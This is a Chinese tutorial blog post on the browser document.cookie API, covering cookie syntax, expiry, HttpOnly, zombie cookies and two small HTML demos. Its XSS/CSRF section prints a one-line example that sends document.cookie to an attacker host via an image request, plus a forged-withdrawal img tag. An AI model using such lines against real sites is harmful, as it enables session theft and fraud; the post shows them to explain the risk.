web API简介(二):客户端储存之document.cookie API
概述
前篇:web API简介(一):API,Ajax和Fetch
客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。
Cookie介绍
cookies主要用来做如下事情:1.用户登录,购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。
cookies有很多问题。比如它的发送需要利用http请求,所以会有性能损耗;每种浏览器也有cookie条数限制,达到限制就会自动删除一些cookie;cookie还有很严重的安全问题。
cookies只有一个优点,就是它和老式的浏览器很兼容。0.0
Set Cookie
Set-Cookie: <cookie-name>=<cookie-value>
语法
//newCookie = "key=value"
document.cookie = newCookie;
还可以在后面添加这些信息:
(1)";path=path"
(2)";domain=domain"
(3)";max-age=max-age-in-seconds"
(4)";expires=date-in-GMTString-format"
Cookie的时效
如果没有写Expires或Max-Age,当浏览器关闭的时候Cookie会被删除。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
HttpOnly cookies
为了防止XSS(cross-site scripting)攻击,cookie可以加上Secure和HttpOnly,这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Xss和CSRF
XSS = cross-site scripting;CSRF = Cross-site request forgery。
下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候,会被盗钱。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Zombie cookies
Zombie cookies = Evercookies。
这类cookies在被删除后会立刻重新建立,所以很难被删除。
相关方面的资料:Evercookie by Samy Kamkar和Zombie cookies on Wikipedia。
cookie操作实例
下面的代码拿到一个叫test2的cookie。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title><script>document.cookie = "test1=Hello";document.cookie = "test2=World";var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");function alertCookieValue() {var showCookie = document.getElementById("show_cookie");showCookie.innerText = cookieValue;};</script>
</head>
<body><button onclick="alertCookieValue()">显示cookie</button><div id="show_cookie"></div>
</body>
</html>
Document <script> document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); function alertCookieValue() { var showCookie = document.getElementById("show_cookie"); showCookie.innerText = cookieValue; }; </script> 显示cookie
下面的代码使事情只做一次。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title><script>function doOnce() {if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {document.getElementById("do_once").disabled = true;document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";}};function resetOnce() { document.getElementById("do_once").disabled = false;document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";}</script>
</head>
<body><button id="do_once" onclick="doOnce()">Only do something once</button><button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>
Document <script> function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { document.getElementById("do_once").disabled = true; document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }; function resetOnce() { document.getElementById("do_once").disabled = false; document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; } </script> Only do something once Reset only once cookie
转载于:https://www.cnblogs.com/yangzhou33/p/8443269.html
web API简介(二):客户端储存之document.cookie API相关推荐
- 03、web前端简介
文章目录 前言 一.web前端简介 二.HTML(超文本标记语言) 2.1 元素.内容和标签 2.2 HTML DOM树 三.CSS和Javascript 3.1 CSS 3.2 Javascript ...
- 【SAP】ABAP——Web Service简介与配置方法
本文转载 https://www.cnblogs.com/zohoo/p/7295920.html. 一. SAP Web Service简介 二. SAP Web Service配置准备工作 ...
- SAP Web Service简介与配置方法
[版权声明]本文为博主原创文章,转载请在明显位置注明出处. 一. SAP Web Service简介 二. SAP Web Service配置准备工作 1. 通过RZ10配置服务器名称和其他参数 2. ...
- document.cookie无法获取到cookie
背景 在前后端联调的时候,后端需要在入参中传入 cookie.于是想通过 document.cookie 来获取,但是发现浏览器有 cookie 但是无法获取到. 场景复现 打开谷歌调试工具,可以看到 ...
- amazeui学习笔记二(进阶开发2)--Web组件简介Web Component
amazeui学习笔记二(进阶开发2)--Web组件简介Web Component 一.总结 1.amaze ui:amaze ui是一个web 组件, 由模板(hbs).样式(LESS).交互(JS ...
- 生成用于ASP.NET Web API的TypeScript客户端API
目录 介绍 备注 背景 推定(Presumptions) 使用代码 步骤0:将NuGet package WebApiClientGen和WebApiClientGen.jQuery安装到Web AP ...
- 项目 - Web地图开发【高德地图API】(二)
导航兔: Web地图开发 [高德地图API] 导航地址 Web地图开发[高德地图API](一) https://qianmoer.blog.csdn.net/article/details/12842 ...
- API简介,如何运用API接口获取商品数据(淘宝/天猫、1688、拼多多、京东等二十多个海内外电商平台)
API:应用程序接口(API:Application Program Interface) 应用程序接口是一组定义.程序及协议的集合,通过 API 接口实现计算机软件之间的相互通信.API 的一个主要 ...
- JavaScript(五)—— Web APIs 简介/JavaScript 必须掌握的 DOM 操作 (丰富案例 + 思维导图)
本篇为 JavaScript 系列笔记第五篇,将陆续更新后续内容.参考:黑马程序员JavaScript核心教程,前端基础教程 系列笔记: JavaScript(一)-- 初识JavaScript / ...
最新文章
- C++ : 编译单元、声明和定义、头文件作用、防止头文件在同一个编译单元重复引用、static和不具名空间...
- Java绘制基本图形
- 正在学习的Angularjs包裹的插件
- ubuntu部署eclipse兼容性问题
- 解决zabbix-agent二进制班不能连接使用docker搭建的zabbix-server
- R语言与Tableau集成之可视化应用
- 【Python】xlwt和xlrd模块写入和读取.xls版本EXCEL
- Go 标准库: log
- Spring boot Mybatis 整合(完整版)
- 在C#中有效地使用列表作为字典键
- 解决ORA-01578错误一例
- win11设置打开闪退怎么办,解决win11系统闪退的问题
- mybatis 依赖于jdbc_面试BAT问的最多的27道MyBatis 面试题(含答案和思维导图总结)...
- 新闻发布系统3.0(javaBean封装)
- dell进入u盘启动模式_戴尔笔记本u盘启动按F12没有usb启动项 dellPC用f12没有u盘启动如何办...
- 爱荷华州立大学计算机科学,2020年爱荷华州立大学排名TFE Times美国最佳计算机科学硕士专业排名第63...
- 华三模拟器BGP基本配置
- JS实现获取汉字首字母拼音、全拼音及混拼音的方法
- php inpo,优化PHP in_array()函数,效率提高50倍
- 2021年N1叉车司机考试题库及N1叉车司机模拟考试
热门文章
- python3.6.1安装教程-Linux下python3.6.1环境配置教程
- python程序设计报告-20183122 实验一《Python程序设计》实验报告
- python难嘛-为什么说python入门很简单,但是在你这很难?
- 小学生python-如何看待小学生开始学Python?
- python画图-python绘图篇
- python学精通要多久-学Python编程难吗 从入门到精通学习Python要多久
- python怎么安装requests库-python怎么安装requests库
- python入门指南bl-入门 第一个python可视化程序 基于pyqt5
- 学python需要学数据库吗-学习python用什么数据库好?
- python使用open打开文件时显示文件不存在-Python打开文件open()的注意事项